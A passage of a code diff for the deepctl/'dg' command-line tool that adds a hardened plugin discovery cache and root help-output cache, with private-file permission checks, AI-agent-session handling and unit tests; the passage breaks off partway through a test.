+    ``first_col`` is at least the longest visible built-in name plus 2.
+    """
+    from deepctl import _manifest
+
+    shortest_first_col = 2 + min(
+        30,
+        max(
+            len(name)
+            for name, entry in _manifest.top_level().items()
+            if not entry.get("hidden")
+        ),
+    )
+    narrowest = max(50 - 32 - 2, 10)
+    widest = max(78 - shortest_first_col - 2, 10)
+    return range(narrowest, widest + 1)
+
+
+def cache_root() -> str | None:
+    """``user_cache_dir("deepctl", "deepgram")``, or ``None`` if unknown."""
+    try:
+        import platformdirs
+
+        return str(platformdirs.user_cache_dir("deepctl", "deepgram"))
+    except Exception:
+        return None
+
+
+def real_cache_root() -> str | None:
+    """The default cache directory derived from the account itself, with
+    ``HOME`` and ``XDG_CACHE_HOME`` ignored: ``<pw_dir>/.cache/deepctl`` on
+    Linux, ``<pw_dir>/Library/Caches/deepctl`` on macOS and
+    ``<LocalAppData>\\deepgram\\deepctl\\Cache`` on Windows. ``None`` when
+    the OS can't say."""
+    if sys.platform == "win32":
+        base = _windows_local_appdata()
+        return (
+            None if base is None else os.path.join(base, "deepgram", "deepctl", "Cache")
+        )
+    home = _real_home()
+    if home is None:
+        return None
+    if sys.platform == "darwin":
+        return os.path.join(home, "Library", "Caches", "deepctl")
+    return os.path.join(home, ".cache", "deepctl")
+
+
+def _windows_local_appdata() -> str | None:
+    """The LocalAppData known folder from the OS, not the environment."""
+    try:
+        import ctypes
+
+        buf = ctypes.create_unicode_buffer(260)
+        shell32 = ctypes.windll.shell32  # type: ignore[attr-defined]
+        if shell32.SHGetFolderPathW(None, 0x1C, None, 0, buf) == 0:
+            return buf.value or None
+    except Exception:
+        return None
+    return None
+
+
+def _safe_dir(path: str) -> bool:
+    """A real directory (no symlink) owned by this user that its group and
+    others can't write (0.4.1 rule O1)."""
+    try:
+        info = os.lstat(path)
+    except OSError:
+        return False
+    if not stat.S_ISDIR(info.st_mode):
+        return False
+    if sys.platform == "win32":
+        return True
+    return info.st_uid == os.getuid() and not info.st_mode & 0o022
+
+
+def _private_dir(name: str, create: bool, real: bool = False) -> str | None:
+    """``<cache>/<name>``, checked (and created 0700 when ``create``).
+    ``real`` uses the real home's cache directory (``real_cache_root``)."""
+    root = real_cache_root() if real else cache_root()
+    if root is None:
+        return None
+    path = os.path.join(root, name)
+    if create:
+        try:
+            os.makedirs(root, mode=0o700, exist_ok=True)
+            os.mkdir(path, 0o700)
+        except FileExistsError:
+            pass
+        except OSError:
+            return None
+    if _safe_dir(root) and _safe_dir(path):
+        return path
+    return None
+
+
+def _write_private(path: str, data: bytes) -> None:
+    """Write ``data`` to ``path`` atomically, mode 0600, through a fresh
+    temp file in the same directory (removed again on any failure)."""
+    import tempfile
+
+    directory = os.path.dirname(path)
+    fd, tmp = tempfile.mkstemp(dir=directory, prefix=".", suffix=".tmp")
+    try:
+        with os.fdopen(fd, "wb") as f:
+            f.write(data)
+        os.replace(tmp, path)
+    except BaseException:
+        try:
+            os.unlink(tmp)
+        except OSError:
+            pass
+        raise
+
+
+def _prune_stale_tmp(directory: str, max_age: float = 3600.0) -> None:
+    """Remove temp files a crashed writer left behind (older than an hour)."""
+    now = time.time()
+    try:
+        names = os.listdir(directory)
+    except OSError:
+        return
+    for name in names:
+        if not name.endswith(".tmp"):
+            continue
+        path = os.path.join(directory, name)
+        try:
+            if now - os.lstat(path).st_mtime > max_age:
+                os.unlink(path)
+        except OSError:
+            pass
+
+
+def _read_private(path: str) -> bytes | None:
+    """``path``'s bytes when it's a regular file owned by this user that its
+    group and others can't write; else ``None``."""
+    try:
+        fd = os.open(path, os.O_RDONLY | getattr(os, "O_NOFOLLOW", 0))
+    except OSError:
+        return None
+    try:
+        info = os.fstat(fd)
+        if not stat.S_ISREG(info.st_mode) or info.st_size > 1024 * 1024:
+            return None
+        if sys.platform != "win32" and (
+            info.st_uid != os.getuid() or info.st_mode & 0o022
+        ):
+            return None
+        with os.fdopen(fd, "rb") as f:
+            fd = -1
+            return f.read()
+    except OSError:
+        return None
+    finally:
+        if fd >= 0:
+            os.close(fd)
+
+
+def file_state(path: str) -> dict[str, Any]:
+    """What the help-cache key records about one file or directory."""
+    try:
+        info = os.stat(path)
+    except OSError:
+        return {"path": path, "absent": True}
+    return {
+        "path": path,
+        "mtime_ns": info.st_mtime_ns,
+        "size": info.st_size,
+        "inode": info.st_ino,
+    }
+
+
+def _real_home() -> str | None:
+    """The account's home from the OS (``HOME`` ignored); None on Windows."""
+    if sys.platform == "win32":
+        return None
+    try:
+        import pwd
+
+        return pwd.getpwuid(os.getuid()).pw_dir or None
+    except (ImportError, KeyError, OSError):
+        return None
+
+
+def plugin_state_paths() -> list[str]:
+    """The files and directories whose change can change the plugin set."""
+    paths = [os.path.abspath(p or os.curdir) for p in sys.path]
+    homes = {os.path.expanduser("~")}
+    real = _real_home()
+    if real:
+        homes.add(real)
+    for home in sorted(homes):
+        plugins = os.path.join(home, ".deepctl", "plugins")
+        venv = os.path.join(plugins, "venv")
+        paths += [plugins, os.path.join(plugins, "plugins.json"), venv]
+        for lib in ("lib", "Lib"):
+            lib_dir = os.path.join(venv, lib)
+            paths.append(lib_dir)
+            try:
+                entries = sorted(os.listdir(lib_dir))
+            except OSError:
+                continue
+            for entry in entries:
+                if entry == "site-packages" or entry.startswith("python"):
+                    site = (
+                        os.path.join(lib_dir, entry)
+                        if entry == "site-packages"
+                        else os.path.join(lib_dir, entry, "site-packages")
+                    )
+                    paths.append(site)
+    return list(dict.fromkeys(paths))
+
+
+def _plugin_dir_trust() -> list[Any]:
+    """Owner and mode of dg's own plugin directories (``.deepctl``,
+    ``.deepctl/plugins``, the venv) under each home: what the plugin
+    loader's trust check reads. chmod and chown change neither mtime nor
+    size, so the stamp records them itself."""
+    homes = {os.path.expanduser("~")}
+    real = _real_home()
+    if real:
+        homes.add(real)
+    trust: list[Any] = []
+    for home in sorted(homes):
+        dot = os.path.join(home, ".deepctl")
+        plugins = os.path.join(dot, "plugins")
+        for path in (dot, plugins, os.path.join(plugins, "venv")):
+            try:
+                info = os.stat(path)
+            except OSError:
+                trust.append([path, None])
+                continue
+            trust.append([path, info.st_mode, info.st_uid])
+    return trust
+
+
+def _agent_context() -> list[str]:
+    """Agent mode decides which plugin venv is used (and the working
+    directory can rule it out), so both are part of the stamp."""
+    from deepctl_core.output import is_ai_agent
+
+    return ["agent", os.getcwd()] if is_ai_agent() else ["person"]
+
+
+def plugin_stamp() -> str:
+    """Everything ``plugin_state_paths`` and the run context say about the
+    plugin set, as one string (compared whole: no hashing on this path)."""
+    from deepctl import __version__
+
+    state = {
+        "format": FORMAT,
+        "version": __version__,
+        "python": list(sys.version_info[:3]),
+        "executable": sys.executable,
+        "context": _agent_context(),
+        "files": [file_state(p) for p in plugin_state_paths()],
+        "trust": _plugin_dir_trust(),
+    }
+    return json.dumps(state, sort_keys=True)
+
+
+def _discovery_file(directory: str) -> str:
+    import zlib
+
+    prefix = zlib.crc32(sys.prefix.encode("utf-8", "replace"))
+    return os.path.join(directory, f"plugins-{prefix:08x}.json")
+
+
+def _discovery_dir(create: bool) -> str | None:
+    """Under an AI agent, only the real home's cache directory is used."""
+    from deepctl_core.output import is_ai_agent
+
+    return _private_dir("discovery", create=create, real=is_ai_agent())
+
+
+def _clean_entry(entry: Any, reserved: frozenset[str]) -> dict[str, Any] | None:
+    """A cached plugin command as it may be listed, or None to drop it."""
+    if not isinstance(entry, dict):
+        return None
+    name = entry.get("name")
+    if not isinstance(name, str) or VALID_PLUGIN_NAME.fullmatch(name) is None:
+        return None
+    if name in reserved:
+        return None
+    texts: dict[str, Any] = {}
+    for key, allow_newline in (("summary", False), ("help", True)):
+        value = entry.get(key)
+        if value is not None and (
+            not isinstance(value, str) or unsafe_text(value, allow_newline)
+        ):
+            return None
+        texts[key] = value
+    more = entry.get("summary_more", [])
+    if not isinstance(more, list) or not all(
+        isinstance(p, str) and p and not unsafe_text(p, False) for p in more
+    ):
+        return None
+    if more:
+        if texts["summary"] is None:
+            return None
+        texts["summary_more"] = list(more)
+    deprecated = entry.get("deprecated")
+    if not (isinstance(deprecated, str) and deprecated):
+        deprecated = deprecated is True
+    return {
+        "name": name,
+        **texts,
+        "hidden": entry.get("hidden") is True,
+        "deprecated": deprecated,
+    }
+
+
+def _listed_text(short_help: str | None, help_text: str | None, deprecated: Any) -> str:
+    """The text Click puts in the command list for these attributes, before
+    it wraps it (``Command.get_short_help_str``)."""
+    import click
+
+    return click.Command(
+        "x", short_help=short_help, help=help_text, deprecated=deprecated
+    ).get_short_help_str()
+
+
+def listing_row(name: str, command: Any) -> dict[str, Any] | None:
+    """The discovery-cache row for a live command, or None when the cache
+    can't reproduce its row in ``--help`` exactly.
+
+    Click shows ``short_help`` whole, wrapped, with paragraphs kept and
+    line breaks (``\\n``, ``\\r\\n``, ``\\f``) inside a paragraph joined by a
+    space. The row stores those paragraphs (``summary`` and
+    ``summary_more``), so no stored summary holds a line break, and the row
+    is kept only if rebuilding ``short_help`` from them renders the same
+    text at every width the command list can use (anything else, such as a
+    ``\\b`` block, isn't cached). ``help`` is stored only when there is no
+    ``short_help``, since only then does the list read it.
+    """
+    import inspect
+
+    from click.formatting import wrap_text
+
+    short_help = command.short_help
+    deprecated = command.deprecated or False
+    row: dict[str, Any] = {
+        "name": name,
+        "summary": None,
+        "help": None,
+        "hidden": bool(command.hidden),
+        "deprecated": deprecated,
+    }
+    if not short_help:
+        row["help"] = command.help
+        return row
+    paragraphs: list[str] = []
+    buf: list[str] = []
+    for line in [*inspect.cleandoc(short_help).expandtabs().splitlines(), ""]:
+        if not line:
+            if buf:
+                paragraphs.append(" ".join(buf))
+                buf = []
+        else:
+            buf.append(line if buf else line.lstrip())
+    if not paragraphs:
+        return None
+    rebuilt = "\n\n".join(paragraphs)
+    original = _listed_text(short_help, None, deprecated)
+    candidate = _listed_text(rebuilt, None, deprecated)
+    if candidate != original:
+        for width in list_widths():
+            if wrap_text(original, width, preserve_paragraphs=True) != wrap_text(
+                candidate, width, preserve_paragraphs=True
+            ):
+                return None
+    row["summary"] = paragraphs[0]
+    if paragraphs[1:]:
+        row["summary_more"] = paragraphs[1:]
+    return row
+
+
+def read_discovery(
+    stamp: str, reserved: frozenset[str] = frozenset()
+) -> list[dict[str, Any]] | None:
+    """The plugin commands of a clean discovery with this stamp, or None.
+
+    Entries are checked again: a file holding an invalid name, a
+    ``reserved`` name (the built-in commands and aliases) or unsafe text is
+    ignored (None: discover again), since the writer never stores one;
+    ``hidden``/``deprecated`` are coerced.
+    """
+    directory = _discovery_dir(create=False)
+    if directory is None:
+        return None
+    data = _read_private(_discovery_file(directory))
+    if data is None:
+        return None
+    try:
+        cached = json.loads(data)
+    except ValueError:
+        return None
+    if not isinstance(cached, dict) or cached.get("stamp") != stamp:
+        return None
+    commands = cached.get("commands")
+    if not isinstance(commands, list):
+        return None
+    cleaned = [_clean_entry(entry, reserved) for entry in commands]
+    if any(entry is None for entry in cleaned):
+        # The writer never stores such a row: the file was changed by
+        # something else. Discover again rather than trust any of it.
+        return None
+    return [entry for entry in cleaned if entry is not None]
+
+
+def write_discovery(
+    stamp: str,
+    commands: list[dict[str, Any]],
+    reserved: frozenset[str] = frozenset(),
+) -> None:
+    """Keep a clean discovery's plugin commands for this stamp.
+
+    A discovery with any row ``read_discovery`` would drop (the same check,
+    the same ``reserved`` names) isn't kept: it runs again each time, so the
+    listing is the same on every run.
+    """
+    if any(_clean_entry(entry, reserved) is None for entry in commands):
+        return
+    try:
+        directory = _discovery_dir(create=True)
+        if directory is None:
+            return
+        _prune_stale_tmp(directory)
+        data = json.dumps({"stamp": stamp, "commands": commands}, indent=1)
+        _write_private(_discovery_file(directory), data.encode("utf-8"))
+    except OSError:
+        pass
+
+
+def help_width() -> int:
+    """The width Click formats help for: the terminal's, at most 80."""
+    import shutil
+
+    return min(shutil.get_terminal_size().columns, 80)
+
+
+def key_inputs() -> dict[str, Any]:
+    """The interpreter, files and environment variables root ``--help``
+    output depends on, as the key records them. ``run()`` takes this before
+    rendering, and ``write_help`` writes nothing unless it still holds."""
+    files = [file_state(p) for p in plugin_state_paths()]
+    files.append(file_state(_default_config_file()))
+    return {
+        "executable": sys.executable,
+        "files": files,
+        "env": {
+            name: os.environ.get(name, None)
+            for name in sorted(set(HELP_ENV_VARS) | set(_agent_markers()))
+        },
+    }
+
+
+def help_key(
+    prog: str,
+    width: int,
+    tty: bool,
+    text: bytes,
+    inputs: dict[str, Any] | None = None,
+) -> dict[str, Any]:
+    """``<entry>.key.json``: every input root ``--help`` output depends on,
+    plus ``text_sha256``, the hash of the entry's bytes, which binds the key
+    to the text it was written with."""
+    import hashlib
+
+    from deepctl import __version__
+
+    inputs = key_inputs() if inputs is None else inputs
+    return {
+        "format": FORMAT,
+        "version": __version__,
+        "prog": prog,
+        "width": width,
+        "isatty": tty,
+        **inputs,
+        "text_sha256": hashlib.sha256(text).hexdigest(),
+    }
+
+
+def _agent_markers() -> tuple[str, ...]:
+    from deepctl_core.output import AI_AGENT_ENV_MARKERS
+
+    return AI_AGENT_ENV_MARKERS
+
+
+def _default_config_file() -> str:
+    import platformdirs
+
+    return os.path.join(
+        platformdirs.user_config_dir("deepctl", "deepgram"), "config.yaml"
+    )
+
+
+def help_entry_name(version: str, prog: str, width: int, tty: bool) -> str:
+    safe_prog = "".join(
+        c if (c.isascii() and c.isalnum()) or c in "-_." else "_" for c in prog
+    )
+    return f"{version}-{safe_prog}-{width}-{'tty' if tty else 'pipe'}.txt"
+
+
+def help_dir(create: bool) -> str | None:
+    """``<real cache>/help``: never under ``HOME`` or ``XDG_CACHE_HOME``."""
+    return _private_dir("help", create=create, real=True)
+
+
+def write_help(
+    text: str,
+    prog: str,
+    width: int,
+    tty: bool,
+    before: dict[str, Any] | None = None,
+) -> None:
+    """Save root ``--help`` output and its key; prune other versions.
+
+    Nothing is written when ``before`` (``key_inputs()`` taken before the
+    text was rendered) no longer matches, when the key would list more than
+    ``MAX_KEY_FILES`` files or ``MAX_KEY_ENV`` variables, when the text is
+    over ``MAX_ENTRY_BYTES``, when the key would hold text that isn't valid
+    Unicode (a path or variable with undecodable bytes), or when the entry
+    on disk already has the same key and text, so both files keep their
+    mtime.
+    """
+    from deepctl import __version__
+
+    try:
+        directory = help_dir(create=True)
+        if directory is None:
+            return
+        inputs = key_inputs()
+        if before is not None and inputs != before:
+            return
+        if len(inputs["files"]) > MAX_KEY_FILES or len(inputs["env"]) > MAX_KEY_ENV:
+            return  # a key no launcher would use
+        name = help_entry_name(__version__, prog, width, tty)
+        body = text.encode("utf-8")
+        if len(body) > MAX_ENTRY_BYTES:
+            return
+        # ensure_ascii=False and strict UTF-8: a surrogate-escaped path or
+        # value raises here, and no entry is written.
+        key = json.dumps(
+            help_key(prog, width, tty, body, inputs), indent=1, ensure_ascii=False
+        ).encode("utf-8")
+        entry = os.path.join(directory, name)
+        if _read_private(f"{entry}.key.json") == key and _read_private(entry) == body:
+            return
+        _prune_stale_tmp(directory)
+        # Text first, key second: a reader checks text_sha256, so text from
+        # another run under this key is a miss, never served.
+        _write_private(entry, body)
+        _write_private(f"{entry}.key.json", key)
+        for other in os.listdir(directory):
+            if other.endswith(".tmp"):
+                continue
+            if not other.startswith(f"{__version__}-"):
+                try:
+                    os.unlink(os.path.join(directory, other))
+                except OSError:
+                    pass
+    except (OSError, UnicodeError):
+        pass
+
+
+def served_text(entry: str) -> bytes | None:
+    """The entry's text if its key binds it, else None.
+
+    This is the reference for the contract's ``format`` and ``text_sha256``
+    rules only. It doesn't check the header fields, ``executable``, ``files``
+    or ``env`` (rules 1-4), so it isn't a full evaluator."""
+    import hashlib
+
+    body = _read_private(entry)
+    key_bytes = _read_private(f"{entry}.key.json")
+    if body is None or key_bytes is None:
+        return None
+    try:
+        key = json.loads(key_bytes)
+    except ValueError:
+        return None
+    if not isinstance(key, dict) or key.get("format") != FORMAT:
+        return None
+    if key.get("text_sha256") != hashlib.sha256(body).hexdigest():
+        return None
+    return body
+
+
+class StderrWatch:
+    """Wraps ``sys.stderr`` and notes whether anything was written to it."""
+
+    def __init__(self, stream: Any) -> None:
+        self.stream = stream
+        self.written = False
+
+    def write(self, text: Any) -> Any:
+        if text:
+            self.written = True
+        return self.stream.write(text)
+
+    def writelines(self, lines: Any) -> None:
+        for line in lines:
+            self.write(line)
+
+    def __getattr__(self, name: str) -> Any:
+        return getattr(self.stream, name)
diff --git a/src/deepctl/_cli.py b/src/deepctl/_cli.py
index ce9103d2..27c7a5af 100644
--- a/src/deepctl/_cli.py
+++ b/src/deepctl/_cli.py
@@ -147,9 +147,13 @@ class _Listed(click.Command):
     importing it. Only the attributes ``format_commands`` reads are set."""
 
     def __init__(self, name: str, entry: dict[str, Any]) -> None:
+        short_help = entry.get("summary")
+        if short_help and entry.get("summary_more"):
+            # A cached plugin row: its paragraphs, as Click keeps them.
+            short_help = "\n\n".join([short_help, *entry["summary_more"]])
         super().__init__(
             name,
-            short_help=entry.get("summary"),
+            short_help=short_help,
             help=entry.get("help"),
             hidden=bool(entry.get("hidden", False)),
             deprecated=entry.get("deprecated", False),
@@ -177,6 +181,31 @@ def make_context(
         raise self.error
 
 
+def _nothing_to_discover() -> bool:
+    """True when no plugin can be installed: every ``deepctl.commands`` entry
+    point is a built-in's own, there is no ``deepctl.plugins`` entry point
+    and no ``plugins.json`` for a plugin venv. Then discovery has nothing to
+    load, and ``deepctl_core`` needn't be imported to find that out."""
+    from importlib import metadata
+
+    from deepctl import _cache
+
+    builtins = _manifest.builtin_command_modules()
+    entry_points = metadata.entry_points()
+    for entry_point in entry_points.select(group="deepctl.commands"):
+        if (
+            builtins.get(entry_point.name)
+            != entry_point.value.partition(":")[0].strip()
+        ):
+            return False
+    if any(True for _ in entry_points.select(group="deepctl.plugins")):
+        return False
+    return not any(
+        path.endswith("plugins.json") and os.path.lexists(path)
+        for path in _cache.plugin_state_paths()
+    )
+
+
 class LazyGroup(click.Group):
     """The root group: built-in commands come from the manifest and load on
     first use; plugins are discovered only when needed.
@@ -195,6 +224,10 @@ def __init__(self, *args: Any, **kwargs: Any) -> None:
         self.eager = False
         self._manager: PluginManager | None = None
         self._discovered = False
+        # Plugin commands from the discovery cache: listed, not loaded.
+        self._cached_plugins: dict[str, dict[str, Any]] = {}
+        # Root help as rendered, and the program name it used (help cache).
+        self.rendered_help: tuple[str, str] | None = None
 
     def _plugin_manager(self) -> PluginManager:
         if self._manager is None:
@@ -288,8 +321,64 @@ def list_commands(self, ctx: click.Context) -> list[str]:
             return super().list_commands(ctx)
         if ctx.resilient_parsing:
             # Shell completion offers plugin commands too, as 0.4.x did.
-            self.discover()
-        return sorted(set(self.commands) | set(_manifest.top_level()))
+            self._discover_for_listing()
+        return sorted(
+            set(self.commands) | set(_manifest.top_level()) | set(self._cached_plugins)
+        )
+
+    def _discover_for_listing(self) -> None:
+        """Discovery for root ``--help``, through the discovery cache.
+
+        A cache hit lists the plugins without importing them (or
+        ``deepctl_core``). On a miss, a quick entry point scan skips the
+        full discovery when no plugin is installed at all.
+        """
+        if self._discovered:
+            return
+        from deepctl import _cache
+
+        reserved = frozenset(_manifest.top_level()) | frozenset(_manifest.aliases())
+        try:
+            stamp: str | None = _cache.plugin_stamp()
+        except Exception:
+            stamp = None
+        if stamp is not None:
+            cached = _cache.read_discovery(stamp, reserved)
+            if cached is not None:
+                self._cached_plugins = {c["name"]: c for c in cached}
+                return
+        before = dict(self.commands)
+        watch = _cache.StderrWatch(sys.stderr)
+        sys.stderr = watch
+        try:
+            if _nothing_to_discover():
+                self._discovered = True
+            else:
+                self.discover()
+        finally:
+            if sys.stderr is watch:
+                sys.stderr = watch.stream
+        added = {
+            name: command
+            for name, command in self.commands.items()
+            if before.get(name) is not command
+        }
+        replaces_builtin = any(name in _manifest.top_level() for name in added)
+        if stamp is not None and not watch.written and not replaces_builtin:
+            rows = []
+            for name, command in sorted(added.items()):
+                row = _cache.listing_row(name, command)
+                if row is None:
+                    break  # one row the cache can't reproduce: keep nothing
+                rows.append(row)
+            else:
+                _cache.write_discovery(stamp, rows, reserved)
+
+    def get_help(self, ctx: click.Context) -> str:
+        text = super().get_help(ctx)
+        if ctx.parent is None:
+            self.rendered_help = (text, ctx.info_name or "dg")
+        return text
 
     def resolve_command(
         self, ctx: click.Context, args: list[str]
@@ -340,8 +429,9 @@ def format_commands(
         if self.eager:
             super().format_commands(ctx, formatter)
             return
-        self.discover()
-        listed = _manifest.top_level()
+        self._discover_for_listing()
+        # Built-ins always win over anything the discovery cache holds.
+        listed = {**self._cached_plugins, **_manifest.top_level()}
         rows: list[tuple[str, click.Command]] = []
         for name in self.list_commands(ctx):
             command = self.commands.get(name) or _Listed(name, listed[name])
@@ -795,6 +885,42 @@ def _best_effort(notice: Callable[..., object], **kwargs: Any) -> None:
         pass
 
 
+def _help_cache_requested() -> bool:
+    """``DEEPCTL_HELP_CACHE=1`` from the launcher (``deepctl.main`` removes
+    it from the environment at startup), and not an AI agent session."""
+    main_module = sys.modules.get("deepctl.main")
+    requested = bool(getattr(main_module, "HELP_CACHE", False))
+    if not requested:
+        return False
+    from deepctl_core.output import is_ai_agent
+
+    return not is_ai_agent()
+
+
+def _save_root_help(before: dict[str, Any] | None) -> None:
+    """Write the help cache entry for the root help this run printed."""
+    if cli.rendered_help is None:
+        return
+    import codecs
+
+    try:
+        encoding = codecs.lookup(getattr(sys.stdout, "encoding", "") or "").name
+    except LookupError:
+        return
+    if encoding != "utf-8":
+        return
+    from deepctl import _cache
+
+    text, prog = cli.rendered_help
+    try:
+        tty = sys.stdout.isatty()
+    except (OSError, ValueError):
+        return
+    # As click.echo wrote it: styles kept only on a terminal.
+    shown = text if tty else click.unstyle(text)
+    _cache.write_help(shown + "\n", prog, _cache.help_width(), tty, before)
+
+
 def _start_checks(quiet: bool) -> list[Callable[[], object]]:
     """Start the background update, plugin-update and AI-CLI checks; return
     the functions that print what they found."""
@@ -920,6 +1046,20 @@ def run(
         # which makes no network connection and prints only the help.
         pending = [] if _is_help_run(args) else _start_checks(quiet_requested)
 
+        # Root `dg --help` is saved for the native launcher when it asks
+        # (DEEPCTL_HELP_CACHE=1), outside an AI agent, unless the run writes
+        # anything to stderr.
+        stderr_watch = None
+        key_before: dict[str, Any] | None = None
+        if args == ["--help"] and not cli.eager and _help_cache_requested():
+            from deepctl._cache import StderrWatch, key_inputs
+
+            # The key's inputs before rendering: if any changes while the
+            # help is rendered, no entry is written.
+            key_before = key_inputs()
+            stderr_watch = StderrWatch(sys.stderr)
+            sys.stderr = stderr_watch
+
         with TimingContext("total_execution"):
             exit_code = 0
             with TimingContext("cli_execution"):
@@ -938,6 +1078,12 @@ def run(
                     # and re-raise at the end instead.
                     exit_code = exc.code if isinstance(exc.code, int) else 0
 
+        if stderr_watch is not None:
+            if sys.stderr is stderr_watch:
+                sys.stderr = stderr_watch.stream
+            if not exit_code and not stderr_watch.written:
+                _save_root_help(key_before)
+
         # Print update notifications if available (before timing summary)
         for print_pending in pending:
             _best_effort(print_pending)
diff --git a/src/deepctl/main.py b/src/deepctl/main.py
index 9386780b..91a60e5a 100644
--- a/src/deepctl/main.py
+++ b/src/deepctl/main.py
@@ -33,6 +33,11 @@
 LAUNCHER: "str | None" = None
 LAUNCHER_CAPTURED = False
 
+HELP_CACHE_ENV_VAR = "DEEPCTL_HELP_CACHE"
+# Whether the launcher asked for a help-cache entry (DEEPCTL_HELP_CACHE=1).
+# main() removes the variable first thing, so nothing dg starts inherits it.
+HELP_CACHE = False
+
 # The `dg mcp` arguments the fast path accepts; anything else takes the full
 # path (and its Click errors).
 _FAST_MCP_ARGS: "tuple[list[str], ...]" = (
@@ -158,6 +163,8 @@ def main(prog: "str | None" = None) -> None:
 
     started_at = perf_counter()
     capture_launcher()
+    global HELP_CACHE
+    HELP_CACHE = os.environ.pop(HELP_CACHE_ENV_VAR, None) == "1"
     args = sys.argv[1:]
 
     if args == ["--version"]:
diff --git a/tests/unit/test_cache.py b/tests/unit/test_cache.py
new file mode 100644
index 00000000..04786739
--- /dev/null
+++ b/tests/unit/test_cache.py
@@ -0,0 +1,781 @@
+"""The plugin discovery cache and the help cache."""
+
+from __future__ import annotations
+
+import json
+import os
+import stat
+import subprocess
+import sys
+from pathlib import Path
+from typing import TYPE_CHECKING, Any
+from unittest.mock import patch
+
+import click
+import jsonschema
+import pytest
+
+from deepctl import _cache, _cli, _manifest
+
+if TYPE_CHECKING:
+    from collections.abc import Iterator
+
+REPO = Path(__file__).resolve().parents[2]
+KEY_SCHEMA = REPO / "docs" / "contracts" / "help-cache-key.schema.json"
+AGENT_VARS = (
+    "AI_AGENT",
+    "CLAUDECODE",
+    "CLAUDE_CODE_ENTRYPOINT",
+    "CODEX_SANDBOX",
+    "CODEX_SANDBOX_NETWORK_DISABLED",
+    "CURSOR_AGENT",
+    "GEMINI_CLI",
+    "OR_APP_NAME",
+    "OR_SITE_URL",
+)
+
+
+class Homes:
+    def __init__(self, root: Path) -> None:
+        self.home = root / "home"  # $HOME
+        self.xdg = root / "xdg"  # $XDG_CACHE_HOME
+        self.real = root / "real"  # the account's home from the OS
+
+    @property
+    def xdg_cache(self) -> Path:
+        return self.xdg / "deepctl"
+
+    @property
+    def real_cache(self) -> Path:
+        return Path(str(_cache.real_cache_root()))
+
+
+@pytest.fixture
+def homes(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> Iterator[Homes]:
+    """$HOME, XDG_CACHE_HOME and the real home all in temp dirs, no agent."""
+    h = Homes(tmp_path)
+    for path in (h.home, h.real):
+        path.mkdir(mode=0o700)
+    monkeypatch.setenv("HOME", str(h.home))
+    monkeypatch.setenv("XDG_CACHE_HOME", str(h.xdg))
+    monkeypatch.setenv("XDG_CONFIG_HOME", str(tmp_path / "config"))
+    monkeypatch.setattr(_cache, "_real_home", lambda: str(h.real))
+    for name in AGENT_VARS:
+        monkeypatch.delenv(name, raising=False)
+    old = os.umask(0o022)
+    yield h
+    os.umask(old)
+
+
+@pytest.fixture
+def gate(monkeypatch: pytest.MonkeyPatch) -> None:
+    """DEEPCTL_HELP_CACHE=1, as deepctl.main records it."""
+    import deepctl.main
+
+    monkeypatch.setattr(deepctl.main, "HELP_CACHE", True)
+    # A test interpreter's sys.path is longer than a bundle's; the limit
+    # itself has its own tests.
+    monkeypatch.setattr(_cache, "MAX_KEY_FILES", 10_000)
+
+
+@pytest.fixture
+def fresh_cli(monkeypatch: pytest.MonkeyPatch) -> _cli.LazyGroup:
+    group = _cli.cli
+    monkeypatch.setattr(group, "commands", {})
+    monkeypatch.setattr(group, "eager", False)
+    monkeypatch.setattr(group, "_discovered", False)
+    monkeypatch.setattr(group, "_manager", None)
+    monkeypatch.setattr(group, "_cached_plugins", {})
+    monkeypatch.setattr(group, "rendered_help", None)
+    return group
+
+
+def _help(capsys: pytest.CaptureFixture[str]) -> tuple[str, str]:
+    try:
+        _cli.run(["--help"], prog="dg")
+    except SystemExit as exc:
+        assert not exc.code
+    out = capsys.readouterr()
+    return out.out, out.err
+
+
+def _entries(directory: Path) -> list[Path]:
+    help_dir = directory / "help"
+    return sorted(help_dir.iterdir()) if help_dir.exists() else []
+
+
+class TestHelpCache:
+    def test_clean_run_writes_a_private_entry_under_the_real_home(
+        self,
+        homes: Homes,
+        gate: None,
+        fresh_cli: _cli.LazyGroup,
+        capsys: pytest.CaptureFixture[str],
+    ) -> None:
+        out, err = _help(capsys)
+        assert err == ""
+        assert str(homes.real_cache).startswith(str(homes.real))
+        assert _entries(homes.xdg_cache) == []
+        assert not (homes.home / ".cache").exists()
+        entries = _entries(homes.real_cache)
+        assert len(entries) == 2, [p.name for p in entries]
+        text, key = sorted(entries, key=lambda p: p.name.endswith(".json"))
+        assert text.name.endswith("-dg-80-pipe.txt")
+        # What the launcher would print is what this run printed.
+        assert text.read_text(encoding="utf-8") == out
+        for path in (text, key):
+            assert stat.S_IMODE(path.stat().st_mode) == 0o600
+        assert stat.S_IMODE((homes.real_cache / "help").stat().st_mode) == 0o700
+        recorded = json.loads(key.read_text())
+        schema = json.loads(KEY_SCHEMA.read_text())
+        # The gate fixture lifts the file limit for this long test sys.path.
+        del schema["properties"]["files"]["maxItems"]
+        jsonschema.validate(recorded, schema)
+        assert recorded["prog"] == "dg" and recorded["isatty"] is False
+        assert not any("deepgram.yaml" in f["path"] for f in recorded["files"])
+        assert not any("cwd_relative" in f for f in recorded["files"])
+        assert "DEEPCTL_TELEMETRY_DISABLED" in recorded["env"]
+        assert "DEEPCTL_HELP_CACHE" not in recorded["env"]
+
+    def test_no_gate_writes_nothing(
+        self,
+        homes: Homes,
+        fresh_cli: _cli.LazyGroup,
+        capsys: pytest.CaptureFixture[str],
+    ) -> None:
+        _help(capsys)
+        for root in (
+            homes.real_cache,
+            homes.xdg_cache,
+            homes.home / ".cache" / "deepctl",
+        ):
+            assert _entries(root) == []
+
+    def test_agent_writes_nothing(
+        self,
+        homes: Homes,
+        gate: None,
+        fresh_cli: _cli.LazyGroup,
+        monkeypatch: pytest.MonkeyPatch,
+        capsys: pytest.CaptureFixture[str],
+    ) -> None:
+        monkeypatch.setenv("AI_AGENT", "1")
+        _help(capsys)
+        assert _entries(homes.real_cache) == []
+
+    def test_identical_rerun_rewrites_nothing(
+        self,
+        homes: Homes,
+        gate: None,
+        fresh_cli: _cli.LazyGroup,
+        monkeypatch: pytest.MonkeyPatch,
+        capsys: pytest.CaptureFixture[str],
+    ) -> None:
+        _help(capsys)
+        before = {p.name: p.stat().st_mtime_ns for p in _entries(homes.real_cache)}
+        for path in _entries(homes.real_cache):
+            os.utime(path, ns=(1, 1))
+        monkeypatch.setattr(fresh_cli, "rendered_help", None)
+        monkeypatch.setattr(fresh_cli, "_discovered", False)
